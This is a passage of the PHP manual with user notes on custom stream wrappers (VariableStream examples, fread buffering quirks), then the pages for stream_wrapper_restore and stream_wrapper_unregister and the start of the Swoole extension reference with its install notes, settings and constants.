        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;
        return true;
    }
    public function stream_read($count) {
        $p=&$this->position;
        $ret = substr($GLOBALS[$this->varname], $p, $count);
        $p += strlen($ret);
        return $ret;
    }
    public function stream_write($data){
        $v=&$GLOBALS[$this->varname];
        $l=strlen($data);
        $p=&$this->position;
        $v = substr($v, 0, $p) . $data . substr($v, $p += $l);
        return $l;
    }
    public function stream_tell() {
        return $this->position;
    }
    public function stream_eof() {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }
    public function stream_seek($offset, $whence) {
        $l=strlen(&$GLOBALS[$this->varname]);
        $p=&$this->position;
        switch ($whence) {
            case SEEK_SET: $newPos = $offset; break;
            case SEEK_CUR: $newPos = $p + $offset; break;
            case SEEK_END: $newPos = $l + $offset; break;
            default: return false;
        }
        $ret = ($newPos >=0 && $newPos <=$l);
        if ($ret) $p=$newPos;
        return $ret;
    }
}
stream_wrapper_register("var", "VariableStream")
or die("Failed to register protocol");

$myvar = "";

$fp = fopen("var://myvar", "r+");

fwrite($fp, "line1\n");
fwrite($fp, "line2\n");
fwrite($fp, "line3\n");

rewind($fp);
while (!feof($fp)) {
    echo fgets($fp);
}
fclose($fp);
var_dump($myvar);
?>
phpnet at povaddict dot com dot ar 09-Jun-2007 08:10
In response to Anonymouse at Coward dot com:

The manual says "Reading stops when up to length bytes have been read, [...] or (after opening userspace stream) when 8192 bytes have been read whichever comes first."

I tested it and fread($filehandle, 4096) returns 4096 bytes, so it's working as the manual says it should. You're right when you say "8192 bytes is always passed to stream_read as count", but that doesn't mean fread will return 8192 bytes. If you call fread twice with length 4096, PHP calls stream_read passing 8192 as count on the first fread, and doesn't call it on second fread. On both cases, fread returns the correct amount of bytes.

<?php

class VariableStream {
    var $position;
    var $varname;

    function stream_open($path, $mode, $options, &$opened_path)
    {
        $url = parse_url($path);
        $this->varname = $url["host"];
        $this->position = 0;

        return true;
    }

    function stream_read($count)
    {
        echo "stream_read called asking for $count bytes\n";
        $ret = substr($GLOBALS[$this->varname], $this->position, $count);
        $this->position += strlen($ret);
        return $ret;
    }

    function stream_eof()
    {
        return $this->position >= strlen($GLOBALS[$this->varname]);
    }

}

stream_wrapper_register("var", "VariableStream")
    or die("Failed to register protocol");

$myvar = "";
$l=range('a','z');
for($i=0;$i<65536;$i++) {
    $myvar .= $l[array_rand($l)];
}

$fp = fopen("var://myvar", "r+");

while (!feof($fp)) {
    $out = fread($fp,1000);
    echo "fread returned ",strlen($out)," bytes\n";
}

fclose($fp);

?>
Anonymouse at Coward dot com 26-Apr-2007 09:18
Use caution with writing code that may use stream wrappers with fread, as fread behaviour is 'inconsistent' with normal file operations because of the 8192 bytes internal buffer used by PHP ( >= 5.0.5 IIRC ).

ie:

fread($filehandle, filesize($filename))

will not work correctly if the file is larger than 8KB, it will only get you the first 8192 bytes. Also, it seems that:

fread($filehandle, 4096)

will still give you 8KB (if the file is larger than 8KB) as 8192 bytes is always passed to stream_read as count.

This makes it somewhat impossible to just 'drop in' a stream where normally a file would be used without taking special care.

Yes, it IS mentioned in the documentation here if you read it really well, but I for one spent some time scratching my head over it, and looking at the bug tracker, I am not the only one. The dev's say this inconsistancy is a feature though, even if it does make stream wrappers pretty much useless 'out of the box'.

file_get_contents and stream_get_contents seem to work ok though.
none at your dot biz 09-Nov-2006 04:35
In case someone else starts scratching their head like I was, you should change the VariableStream::stream_eof() function to something like this:

   function stream_eof()
   {
       $eof = ($this->position >= strlen($GLOBALS[$this->varname]));
        if(version_compare(PHP_VERSION,'5.0','>=') && version_compare(PHP_VERSION,'5.1','<'))
        {
            $eof = !$eof;
        }
        return $eof;
   }

PHP 5.0 introduced a bug that wasn't fixed until 5.1
jhannus at php dot net 20-Jun-2005 07:37
It is worth noting that if your wrapper supports stream_flush() then when you flcose() your stream this function will be called prior to closing the stream.
cellog at php dot net 12-Apr-2005 07:45
If you plan to use your wrapper in a require_once you need to define stream_stat().  If you plan to allow any other tests like is_file()/is_dir(), you have to define url_stat().

stream_stat() must define the size of the file, or it will never be included.  url_stat() must define mode, or is_file()/is_dir()/is_executable(), and any of those functions affected by clearstatcache() simply won't work.

It's not documented, but directories must be a mode like 040777 (octal), and files a mode like 0100666.  If you wish the file to be executable, use 7s instead of 6s.  The last 3 digits are exactly the same thing as what you pass to chmod.  040000 defines a directory, and 0100000 defines a file.  It would be really helpful to add this to the official manual!
Hayley Watson 03-Apr-2005 11:07
The current URL standard is RFC 3986 - available at www.ietf.org/rfc/rfc3986.txt
simon at firepages dot org 13-Apr-2004 10:53
using streams to use the ever useful fgetcsv() on a variable where explode() would not work (and would otherwise require regex(though that may be easier;)))

$explode_this="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

<?php
class csvstream{
   var $position;
   var $varname;
   function stream_open($path, $mode, $options, &$opened_path){
       $url = parse_url($path);
        $this->varname = $url['host'] ;
       $this->position = 0;
       return true;
   }
  function stream_read($count){
       $ret = substr($GLOBALS[$this->varname], $this->position, $count);
       $this->position += strlen($ret);
       return $ret;
   }
  function stream_eof(){
       return $this->position >= strlen($GLOBALS[$this->varname]);
   }
   function stream_tell(){
       return $this->position;
   }
}

   stream_wrapper_register("csvstr", "csvstream") ;
   $str="yak, llama, 'big llama', 'wobmat, with a comma in it', bandycoot";

   $fp = fopen("csvstr://str", "r+");
   print_r(fgetcsv($fp,100,",","'"));

?>


Restores a previously unregistered built-in wrapper

  • ? stream_wrapper_register
  • stream_wrapper_unregister ?
  • PHP Manual
  • Stream 函数
  • Restores a previously unregistered built-in wrapper

stream_wrapper_restore

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_wrapper_restore — Restores a previously unregistered built-in wrapper

说明

stream_wrapper_restore(string $protocol): bool

Restores a built-in wrapper previously unregistered with stream_wrapper_unregister().

参数

protocol

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Unregister a URL wrapper

  • ? stream_wrapper_restore
  • Swoole ?
  • PHP Manual
  • Stream 函数
  • Unregister a URL wrapper

stream_wrapper_unregister

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_wrapper_unregister — Unregister a URL wrapper

说明

stream_wrapper_unregister(string $protocol): bool

Allows you to disable an already defined stream wrapper. Once the wrapper has been disabled you may override it with a user-defined wrapper using stream_wrapper_register() or reenable it later on with stream_wrapper_restore().

参数

protocol

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Swoole

  • 简介
  • 安装/配置
    • 需求
    • 安装
    • 运行时配置
    • 资源类型
  • 预定义常量
  • Swoole 函数
    • swoole_async_dns_lookup — Async and non-blocking hostname to IP lookup
    • swoole_async_read — Read file stream asynchronously
    • swoole_async_readfile — Read a file asynchronously
    • swoole_async_set — Update the async I/O options
    • swoole_async_write — Write data to a file stream asynchronously
    • swoole_async_writefile — Write data to a file asynchronously
    • swoole_clear_error — Clear errors in the socket or on the last error code
    • swoole_client_select — Get the file description which are ready to read/write or error
    • swoole_cpu_num — Get the number of CPU
    • swoole_errno — Get the error code of the latest system call
    • swoole_error_log — Output error messages to the log
    • swoole_event_add — Add new callback functions of a socket into the EventLoop
    • swoole_event_defer — Add callback function to the next event loop
    • swoole_event_del — Remove all event callback functions of a socket
    • swoole_event_exit — Exit the eventloop, only available at the client side
    • swoole_event_set — Update the event callback functions of a socket
    • swoole_event_wait — Start the event loop
    • swoole_event_write — Write data to a socket
    • swoole_get_local_ip — Get the IPv4 IP addresses of each NIC on the machine
    • swoole_last_error — Get the lastest error message
    • swoole_load_module — Load a swoole extension
    • swoole_select — Select the file descriptions which are ready to read/write or error in the eventloop
    • swoole_set_process_name — Set the process name
    • swoole_strerror — Convert the Errno into error messages
    • swoole_timer_after — Trigger a one time callback function in the future
    • swoole_timer_exists — Check if a timer callback function is existed
    • swoole_timer_tick — Trigger a timer tick callback function by time interval
    • swoole_version — Get the version of Swoole
  • Swoole\Async — The Swoole\Async class
    • Swoole\Async::dnsLookup — Async and non-blocking hostname to IP lookup.
    • Swoole\Async::read — Read file stream asynchronously.
    • Swoole\Async::readFile — Read a file asynchronously.
    • Swoole\Async::set — Update the async I/O options.
    • Swoole\Async::write — Write data to a file stream asynchronously.
    • Swoole\Async::writeFile — Description
  • Swoole\Atomic — The Swoole\Atomic class
    • Swoole\Atomic::add — Add a number to the value to the atomic object.
    • Swoole\Atomic::cmpset — Compare and set the value of the atomic object.
    • Swoole\Atomic::__construct — Construct a swoole atomic object.
    • Swoole\Atomic::get — Get the current value of the atomic object.
    • Swoole\Atomic::set — Set a new value to the atomic object.
    • Swoole\Atomic::sub — Subtract a number to the value of the atomic object.
  • Swoole\Buffer — The Swoole\Buffer class
    • Swoole\Buffer::append — Append the string or binary data at the end of the memory buffer and return the new size of memory allocated.
    • Swoole\Buffer::clear — Reset the memory buffer.
    • Swoole\Buffer::__construct — Fixed size memory blocks allocation.
    • Swoole\Buffer::__destruct — Destruct the Swoole memory buffer.
    • Swoole\Buffer::expand — Expand the size of memory buffer.
    • Swoole\Buffer::read — Read data from the memory buffer based on offset and length.
    • Swoole\Buffer::recycle — Release the memory to OS which is not used by the memory buffer.
    • Swoole\Buffer::substr — Read data from the memory buffer based on offset and length. Or remove data from the memory buffer.
    • Swoole\Buffer::__toString — Get the string value of the memory buffer.
    • Swoole\Buffer::write — Write data to the memory buffer. The memory allocated for the buffer will not be changed.
  • Swoole\Channel — The Swoole\Channel class
    • Swoole\Channel::__construct — Construct a Swoole Channel
    • Swoole\Channel::__destruct — Destruct a Swoole channel.
    • Swoole\Channel::pop — Read and pop data from swoole channel.
    • Swoole\Channel::push — Write and push data into Swoole channel.
    • Swoole\Channel::stats — Get stats of swoole channel.
  • Swoole\Client — The Swoole\Client class
    • Swoole\Client::close — Close the connection established.
    • Swoole\Client::connect — Connect to the remote TCP or UDP port.
    • Swoole\Client::__construct — Create Swoole sync or async TCP/UDP client, with or without SSL.
    • Swoole\Client::__destruct — Destruct the Swoole client.
    • Swoole\Client::getpeername — Get the remote socket name of the connection.
    • Swoole\Client::getsockname — Get the local socket name of the connection.
    • Swoole\Client::isConnected — Check if the connection is established.
    • Swoole\Client::on — Add callback functions triggered by events.
    • Swoole\Client::pause — Pause receiving data.
    • Swoole\Client::pipe — Redirect the data to another file descriptor.
    • Swoole\Client::recv — Receive data from the remote socket.
    • Swoole\Client::resume — Resume receiving data.
    • Swoole\Client::send — Send data to the remote TCP socket.
    • Swoole\Client::sendfile — Send file to the remote TCP socket.
    • Swoole\Client::sendto — Send data to the remote UDP address.
    • Swoole\Client::set — Set the Swoole client parameters before the connection is established.
    • Swoole\Client::sleep — Remove the TCP client from system event loop.
    • Swoole\Client::wakeup — Add the TCP client back into the system event loop.
  • Swoole\Connection\Iterator — The Swoole\Connection\Iterator class
    • Swoole\Connection\Iterator::count — Count connections.
    • Swoole\Connection\Iterator::current — Return current connection entry.
    • Swoole\Connection\Iterator::key — Return key of the current connection.
    • Swoole\Connection\Iterator::next — Move to the next connection.
    • Swoole\Connection\Iterator::offsetExists — Check if offet exists.
    • Swoole\Connection\Iterator::offsetGet — Offset to retrieve.
    • Swoole\Connection\Iterator::offsetSet — Assign a Connection to the specified offset.
    • Swoole\Connection\Iterator::offsetUnset — Unset an offset.
    • Swoole\Connection\Iterator::rewind — Rewinds iterator
    • Swoole\Connection\Iterator::valid — Check if current position is valid.
  • Swoole\Coroutine — The Swoole\Coroutine class
    • Swoole\Coroutine::call_user_func_array — Call a callback with an array of parameters
    • Swoole\Coroutine::call_user_func — Call a callback given by the first parameter
    • Swoole\Coroutine::cli_wait — Description
    • Swoole\Coroutine::create — Description
    • Swoole\Coroutine\Client::close — Description
    • Swoole\Coroutine\Client::connect — Description
    • Swoole\Coroutine\Client::__construct — Description
    • Swoole\Coroutine\Client::__destruct — Description
    • Swoole\Coroutine\Client::getpeername — Description
    • Swoole\Coroutine\Client::getsockname — Description
    • Swoole\Coroutine\Client::isConnected — Description
    • Swoole\Coroutine\Client::recv — Description
    • Swoole\Coroutine\Client::send — Description
    • Swoole\Coroutine\Client::sendfile — Description
    • Swoole\Coroutine\Client::sendto — Description
    • Swoole\Coroutine\Client::set — Description
    • Swoole\Coroutine\Http\Client::addFile — Description
    • Swoole\Coroutine\Http\Client::close — Description
    • Swoole\Coroutine\Http\Client::__construct — Description
    • Swoole\Coroutine\Http\Client::__destruct — Description
    • Swoole\Coroutine\Http\Client::execute — Description
    • Swoole\Coroutine\Http\Client::get — Description
    • Swoole\Coroutine\Http\Client::getDefer — Description
    • Swoole\Coroutine\Http\Client::isConnected — Description
    • Swoole\Coroutine\Http\Client::post — Description
    • Swoole\Coroutine\Http\Client::recv — Description
    • Swoole\Coroutine\Http\Client::set — Description
    • Swoole\Coroutine\Http\Client::setCookies — Description
    • Swoole\Coroutine\Http\Client::setData — Description
    • Swoole\Coroutine\Http\Client::setDefer — Description
    • Swoole\Coroutine\Http\Client::setHeaders — Description
    • Swoole\Coroutine\Http\Client::setMethod — Description
    • Swoole\Coroutine\MySQL::close — Description
    • Swoole\Coroutine\MySQL::connect — Description
    • Swoole\Coroutine\MySQL::__construct — Description
    • Swoole\Coroutine\MySQL::__destruct — Description
    • Swoole\Coroutine\MySQL::getDefer — Description
    • Swoole\Coroutine\MySQL::query — Description
    • Swoole\Coroutine\MySQL::recv — Description
    • Swoole\Coroutine\MySQL::setDefer — Description
    • Swoole\Coroutine::getuid — Description
    • Swoole\Coroutine::resume — Description
    • Swoole\Coroutine::suspend — Description
  • Swoole\Event — The Swoole\Event class
    • Swoole\Event::add — Add new callback functions of a socket into the EventLoop.
    • Swoole\Event::defer — Add a callback function to the next event loop.
    • Swoole\Event::del — Remove all event callback functions of a socket.
    • Swoole\Event::exit — Exit the eventloop, only available at client side.
    • Swoole\Event::set — Update the event callback functions of a socket.
    • Swoole\Event::wait — Description
    • Swoole\Event::write — Write data to the socket.
  • Swoole\Exception — The Swoole\Exception class
  • Swoole\Http\Client — The Swoole\Http\Client class
    • Swoole\Http\Client::addFile — Add a file to the post form.
    • Swoole\Http\Client::close — Close the http connection.
    • Swoole\Http\Client::__construct — Construct the async HTTP client.
    • Swoole\Http\Client::__destruct — Destruct the HTTP client.
    • Swoole\Http\Client::download — Download a file from the remote server.
    • Swoole\Http\Client::execute — Send the HTTP request after setting the parameters.
    • Swoole\Http\Client::get — Send GET http request to the remote server.
    • Swoole\Http\Client::isConnected — Check if the HTTP connection is connected.
    • Swoole\Http\Client::on — Register callback function by event name.
    • Swoole\Http\Client::post — Send POST http request to the remote server.
    • Swoole\Http\Client::push — Push data to websocket client.
    • Swoole\Http\Client::set — Update the HTTP client paramters.
    • Swoole\Http\Client::setCookies — Set the http request cookies.
    • Swoole\Http\Client::setData — Set the HTTP request body data.
    • Swoole\Http\Client::setHeaders — Set the HTTP request headers.
    • Swoole\Http\Client::setMethod — Set the HTTP request method.
    • Swoole\Http\Client::upgrade — Upgrade to websocket protocol.
  • Swoole\Http\Request — The Swoole\Http\Request class
    • Swoole\Http\Request::__destruct — Destruct the HTTP request.
    • Swoole\Http\Request::rawcontent — Get the raw HTTP POST body.
  • Swoole\Http\Response — The Swoole\Http\Response class
    • Swoole\Http\Response::cookie — Set the cookies of the HTTP response.
    • Swoole\Http\Response::__destruct — Destruct the HTTP response.
    • Swoole\Http\Response::end — Send data for the HTTP request and finish the response.
    • Swoole\Http\Response::gzip — Enable the gzip of response content.
    • Swoole\Http\Response::header — Set the HTTP response headers.
    • Swoole\Http\Response::initHeader — Init the HTTP response header.
    • Swoole\Http\Response::rawcookie — Set the raw cookies to the HTTP response.
    • Swoole\Http\Response::sendfile — Send file through the HTTP response.
    • Swoole\Http\Response::status — Set the status code of the HTTP response.
    • Swoole\Http\Response::write — Append HTTP body content to the HTTP response.
  • Swoole\Http\Server — The Swoole\Http\Server class
    • Swoole\Http\Server::on — Bind callback function to HTTP server by event name.
    • Swoole\Http\Server::start — Start the swoole http server.
  • Swoole\Lock — The Swoole\Lock class
    • Swoole\Lock::__construct — Construct a memory lock.
    • Swoole\Lock::__destruct — Destory a Swoole memory lock.
    • Swoole\Lock::lock_read — Lock a read-write lock for reading.
    • Swoole\Lock::lock — Try to acquire the lock. It will block if the lock is not available.
    • Swoole\Lock::trylock_read — Try to lock a read-write lock for reading and return straight away even the lock is not available.
    • Swoole\Lock::trylock — Try to acquire the lock and return straight away even the lock is not available.
    • Swoole\Lock::unlock — Release the lock.
  • Swoole\Mmap — The Swoole\Mmap class
    • Swoole\Mmap::open — Map a file into memory and return the stream resource which can be used by PHP stream operations.
  • Swoole\MySQL — The Swoole\MySQL class
    • Swoole\MySQL::close — Close the async MySQL connection.
    • Swoole\MySQL::connect — Connect to the remote MySQL server.
    • Swoole\MySQL::__construct — Construct an async MySQL client.
    • Swoole\MySQL::__destruct — Destory the async MySQL client.
    • Swoole\MySQL::getBuffer — Description
    • Swoole\MySQL::on — Register callback function based on event name.
    • Swoole\MySQL::query — Run the SQL query.
  • Swoole\MySQL\Exception — The Swoole\MySQL\Exception class
  • Swoole\Process — The Swoole\Process class
    • Swoole\Process::alarm — High precision timer which triggers signal with fixed interval.
    • Swoole\Process::close — Close the pipe to the child process.
    • Swoole\Process::__construct — Construct a process.
    • Swoole\Process::daemon — Change the process to be a daemon process.
    • Swoole\Process::__destruct — Destory the process.
    • Swoole\Process::exec — Execute system commands.
    • Swoole\Process::exit — Stop the child processes.
    • Swoole\Process::freeQueue — Destroy the message queue created by swoole_process::useQueue.
    • Swoole\Process::kill — Send signal to the child process.
    • Swoole\Process::name — Set name of the process.
    • Swoole\Process::pop — Read and pop data from the message queue.
    • Swoole\Process::push — Write and push data into the message queue.
    • Swoole\Process::read — Read data sending to the process.
    • Swoole\Process::signal — Send signal to the child processes.
    • Swoole\Process::start — Start the process.
    • Swoole\Process::statQueue — Get the stats of the message queue used as the communication method between processes.
    • Swoole\Process::useQueue — Create a message queue as the communication method between the parent process and child processes.
    • Swoole\Process::wait — Wait for the events of child processes.
    • Swoole\Process::write — Write data into the pipe and communicate with the parent process or child processes.
  • Swoole\Redis\Server — The Swoole\Redis\Server class
    • Swoole\Redis\Server::format — Description
    • Swoole\Redis\Server::setHandler — Description
    • Swoole\Redis\Server::start — Description
  • Swoole\Serialize — The Swoole\Serialize class
    • Swoole\Serialize::pack — Serialize the data.
    • Swoole\Serialize::unpack — Unserialize the data.
  • Swoole\Server — The Swoole\Server class
    • Swoole\Server::addlistener — Add a new listener to the server.
    • Swoole\Server::addProcess — Add a user defined swoole_process to the server.
    • Swoole\Server::after — Trigger a callback function after a period of time.
    • Swoole\Server::bind — Bind the connection to a user defined user ID.
    • Swoole\Server::clearTimer — Stop and destory a timer.
    • Swoole\Server::close — Close a connection to the client.
    • Swoole\Server::confirm — Check status of the connection.
    • Swoole\Server::connection_info — Get the connection info by file description.
    • Swoole\Server::connection_list — Get all of the established connections.
    • Swoole\Server::__construct — Construct a Swoole server.
    • Swoole\Server::defer — Delay execution of the callback function at the end of current EventLoop.
    • Swoole\Server\Port::__construct — Construct a server port
    • Swoole\Server\Port::__destruct — Destory server port
    • Swoole\Server\Port::on — Register callback functions by event.
    • Swoole\Server\Port::set — Set protocol of the server port.
    • Swoole\Server::exist — Check if the connection is existed.
    • Swoole\Server::finish — Used in task process for sending result to the worker process when the task is finished.
    • Swoole\Server::getClientInfo — Get the connection info by file description.
    • Swoole\Server::getClientList — Get all of the established connections.
    • Swoole\Server::getLastError — Get the error code of the most recent error.
    • Swoole\Server::heartbeat — Check all the connections on the server.
    • Swoole\Server::listen — Listen on the given IP and port, socket type.
    • Swoole\Server::on — Register a callback function by event name.
    • Swoole\Server::pause — Stop receiving data from the connection.
    • Swoole\Server::protect — Set the connection to be protected mode.
    • Swoole\Server::reload — Restart all the worker process.
    • Swoole\Server::resume — Start receving data from the connection.
    • Swoole\Server::send — Send data to the client.
    • Swoole\Server::sendfile — Send file to the connection.
    • Swoole\Server::sendMessage — Send message to worker processes by ID.
    • Swoole\Server::sendto — Send data to the remote UDP address.
    • Swoole\Server::sendwait — Send data to the remote socket in the blocking way.
    • Swoole\Server::set — Set the runtime settings of the swoole server.
    • Swoole\Server::shutdown — Shutdown the master server process, this function can be called in worker processes.
    • Swoole\Server::start — Start the Swoole server.
    • Swoole\Server::stats — Get the stats of the Swoole server.
    • Swoole\Server::stop — Stop the Swoole server.
    • Swoole\Server::task — Send data to the task worker processes.
    • Swoole\Server::taskwait — Send data to the task worker processes in blocking way.
    • Swoole\Server::taskWaitMulti — Execute multiple tasks concurrently.
    • Swoole\Server::tick — Repeats a given function at every given time-interval.
  • Swoole\Table — The Swoole\Table class
    • Swoole\Table::column — Set the data type and size of the columns.
    • Swoole\Table::__construct — Construct a Swoole memory table with fixed size.
    • Swoole\Table::count — Count the rows in the table, or count all the elements in the table if $mode = 1.
    • Swoole\Table::create — Create the swoole memory table.
    • Swoole\Table::current — Get the current row.
    • Swoole\Table::decr — Decrement the value in the Swoole table by $row_key and $column_key.
    • Swoole\Table::del — Delete a row in the Swoole table by $row_key.
    • Swoole\Table::destroy — Destroy the Swoole table.
    • Swoole\Table::exist — Check if a row is existed by $row_key.
    • Swoole\Table::get — Get the value in the Swoole table by $row_key and $column_key.
    • Swoole\Table::incr — Increment the value by $row_key and $column_key.
    • Swoole\Table::key — Get the key of current row.
    • Swoole\Table::next — Iterator the next row.
    • Swoole\Table::rewind — Rewind the iterator.
    • Swoole\Table::set — Update a row of the table by $row_key.
    • Swoole\Table::valid — Check current if the current row is valid.
  • Swoole\Timer — The Swoole\Timer class
    • Swoole\Timer::after — Trigger a callback function after a period of time.
    • Swoole\Timer::clear — Delete a timer by timer ID.
    • Swoole\Timer::exists — Check if a timer is existed.
    • Swoole\Timer::tick — Repeats a given function at every given time-interval.
  • Swoole\WebSocket\Frame — The Swoole\WebSocket\Frame class
  • Swoole\WebSocket\Server — The Swoole\WebSocket\Server class
    • Swoole\WebSocket\Server::exist — Check if the file descriptor exists.
    • Swoole\WebSocket\Server::on — Register event callback function
    • Swoole\WebSocket\Server::pack — Get a pack of binary data to send in a single frame.
    • Swoole\WebSocket\Server::push — Push data to the remote client.
    • Swoole\WebSocket\Server::unpack — Unpack the binary data received from the client.

User Contributed Notes

There are no user contributed notes for this page.


简介

Swoole is a high-performance networking framework using an event-driven, asynchronous, non-blocking I/O model. It can be used to develop high-performance, scalable, concurrent TCP, UDP, Unix socket, HTTP, Websocket services. To get started, please check the » Swoole Docs.

Note: 此扩展在 Windows 平台上不可用。

User Contributed Notes

Mikhail Streltsov (admin at my-fantasy dot ru) 07-Jul-2023 06:39
Documentation is very old on date of this comment.

To better use - look at offical site of Swoole or Git resource of project


安装

Use --with-swoole[=DIR] when compiling PHP.

安装此 PECL 扩展相关的信息可在手册中标题为 PECL 扩展的安装章节中找到。更多信息如新的发行版本、下载、源文件、 维护人员信息及变更日志等，都在此处： » https://pecl.php.net/package/swoole

User Contributed Notes

lc at leocavalcante dot com 20-Sep-2020 02:55
You can build a Docker image as well. Good alternative for Windows, despite WSL.

```Dockerfile
FROM php:7.4.2-cli

RUN apt-get update && apt-get install vim -y && \
    apt-get install openssl -y && \
    apt-get install libssl-dev -y && \
    apt-get install wget -y && \
    apt-get install git -y && \
    apt-get install procps -y && \
    apt-get install htop -y

RUN cd /tmp && git clone https://github.com/swoole/swoole-src.git && \
    cd swoole-src && \
    git checkout v4.5.2 && \
    phpize  && \
    ./configure  --enable-openssl && \
    make && make install

RUN touch /usr/local/etc/php/conf.d/swoole.ini && \
    echo 'extension=swoole.so' > /usr/local/etc/php/conf.d/swoole.ini

RUN wget -O /usr/local/bin/dumb-init https://github.com/Yelp/dumb-init/releases/download/v1.2.2/dumb-init_1.2.2_amd64
RUN chmod +x /usr/local/bin/dumb-init

RUN apt-get autoremove -y && rm -rf /var/lib/apt/lists/*

ENTRYPOINT ["/usr/local/bin/dumb-init", "--", "php"]
```
php dot anonymous1 at gmail dot com 04-Dec-2018 01:26
to install swoole with mac os x
open your terminal
and use this commands
git clone https://github.com/swoole/swoole-src.git
cd swoole-src
phpize
./configure
make && make install

also find your swoole.so from folder swoole-src and move it
in to your apache and add full path in php.ini
like extension=your/full/path/swoole.so


运行时配置

这些函数的行为受 php.ini 中的设置影响。

Swoole 配置选项
名字 | 默认 | 可修改范围 | 更新日志
swoole.aio_thread_num | 2 | PHP_INI_ALL |
swoole.display_errors | On | PHP_INI_ALL |
swoole.fast_serialize | Off | PHP_INI_ALL |
swoole.unixsock_buffer_size | 8388608 | PHP_INI_ALL |
swoole.use_namespace | On | PHP_INI_SYSTEM |
swoole.enable_coroutine | On | PHP_INI_ALL | Available as of swoole 4.0.0
swoole.use_shortname | On | PHP_INI_ALL | Available as of swoole 4.0.0
swoole.enable_preemptive_scheduler | Off | PHP_INI_ALL | Available as of swoole 4.4.0
swoole.enable_library | On | PHP_INI_ALL | Available as of swoole 4.0.0

这是配置指令的简短说明。

swoole.aio_thread_num int

POSIX asynchronous I/O thread number

swoole.display_errors string

This determines whether Swoole errors should be printed to the screen.

swoole.fast_serialize string

Whether to enable Swoole fast_serialize.

swoole.unixsock_buffer_size int

Buffer size of Unix socket.

swoole.use_namespace string

Whether to use PHP namespaces

swoole.enable_coroutine string

Whether to enable coroutine

swoole.use_shortname string

Whether to enable short aliases

swoole.enable_preemptive_scheduler string

Whether to enable preemptive scheduler

swoole.enable_library string

Whether to enable library

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

SWOOLE_BASE (int)
SWOOLE_THREAD (int)
SWOOLE_PROCESS (int)
SWOOLE_IPC_UNSOCK (int)
SWOOLE_IPC_MSGQUEUE (int)
SWOOLE_IPC_PREEMPTIVE (int)
SWOOLE_SOCK_TCP (int)
SWOOLE_SOCK_TCP6 (int)
SWOOLE_SOCK_UDP (int)
SWOOLE_SOCK_UDP6 (int)
SWOOLE_SOCK_UNIX_DGRAM (int)
SWOOLE_SOCK_UNIX_STREAM (int)
SWOOLE_TCP (int)
SWOOLE_TCP6 (int)
SWOOLE_UDP (int)
SWOOLE_UDP6 (int)
SWOOLE_UNIX_DGRAM (int)
SWOOLE_UNIX_STREAM (int)
SWOOLE_SOCK_SYNC (int)
SWOOLE_SOCK_ASYNC (int)
SWOOLE_SYNC (int)
SWOOLE_ASYNC (int)
SWOOLE_KEEP (int)
SWOOLE_EVENT_READ (int)
SWOOLE_EVENT_WRITE (int)
SWOOLE_VERSION (string)
SWOOLE_AIO_BASE (int)
SWOOLE_AIO_LINUX (int)
SWOOLE_FILELOCK (int)
SWOOLE_MUTEX (int)
SWOOLE_SEM (int)
SWOOLE_RWLOCK (int)
WEBSOCKET_OPCODE_TEXT (int)
WEBSOCKET_OPCODE_BINARY (int)
WEBSOCKET_OPCODE_PING (int)
WEBSOCKET_STATUS_CONNECTION (int)
WEBSOCKET_STATUS_HANDSHAKE (int)
WEBSOCKET_STATUS_FRAME (int)
WEBSOCKET_STATUS_ACTIVE (int)
SWOOLE_FAST_PACK (int)
SWOOLE_LOG_DEBUG (int)
Debug log. Available as of swoole 2.1.2.
SWOOLE_LOG_TRACE (int)
Trace log. Available as of swoole 2.1.2.
SWOOLE_LOG_INFO (int)
Info log. Available as of swoole 2.1.2.
SWOOLE_LOG_NOTICE (int)
Notice log. Available as of swoole 2.1.2.
SWOOLE_LOG_WARNING (int)
Warning log. Available as of swoole 2.1.2.
SWOOLE_LOG_ERROR (int)
Error log. Available as of swoole 2.1.2.
SWOOLE_LOG_NONE (int)
None log. Available as of swoole 4.3.2.

User Contributed Notes

There are no user contributed notes for this page.


Swoole 函数

Table of Contents

  • swoole_async_dns_lookup — Async and non-blocking hostname to IP lookup
  • swoole_async_read — Read file stream asynchronously
  • swoole_async_readfile — Read a file asynchronously
  • swoole_async_set — Update the async I/O options
  • swoole_async_write — Write data to a file stream asynchronously
  • swoole_async_writefile — Write data to a file asynchronously
  • swoole_clear_error — Clear errors in the socket or on the last error code
  • swoole_client_select — Get the file description which are ready to read/write or error
  • swoole_cpu_num — Get the number of CPU
  • swoole_errno — Get the error code of the latest system call
  • swoole_error_log — Output error messages to the log
  • swoole_event_add — Add new callback functions of a socket into the EventLoop
  • swoole_event_defer — Add callback function to the next event loop
  • swoole_event_del — Remove all event callback functions of a socket
  • swoole_event_exit — Exit the eventloop, only available at the client side
  • swoole_event_set — Update the event callback functions of a socket
  • swoole_event_wait — Start the event loop
  • swoole_event_write — Write data to a socket
  • swoole_get_local_ip — Get the IPv4 IP addresses of each NIC on the machine
  • swoole_last_error — Get the lastest error message
  • swoole_load_module — Load a swoole extension
  • swoole_select — Select the file descriptions which are ready to read/write or error in the eventloop
  • swoole_set_process_name — Set the process name
  • swoole_strerror — Convert the Errno into error messages
  • swoole_timer_after — Trigger a one time callback function in the future
  • swoole_timer_exists — Check if a timer callback function is existed
  • swoole_timer_tick — Trigger a timer tick callback function by time interval
  • swoole_version — Get the version of Swoole

User Contributed Notes

There are no user contributed notes for this page.


Async and non-blocking hostname to IP lookup

  • ? Swoole 函数
  • swoole_async_read ?
  • PHP Manual
  • Swoole 函数
  • Async and non-blocking hostname to IP lookup

swoole_async_dns_lookup

(PECL swoole >= 1.9.0)

swoole_async_dns_lookup — Async and non-blocking hostname to IP lookup

说明

swoole_async_dns_lookup(string $hostname, callable $callback): bool

参数

hostname

The host name.

callback
callback(string $hostname, string $ip): mixed
hostname

The host name.

IP

The IP address.

返回值

成功时返回 true， 或者在失败时返回 false。

User Contributed Notes

There are no user contributed notes for this page.


Read file stream asynchronously

  • ? swoole_async_dns_lookup
  • swoole_async_readfile ?
  • PHP Manual
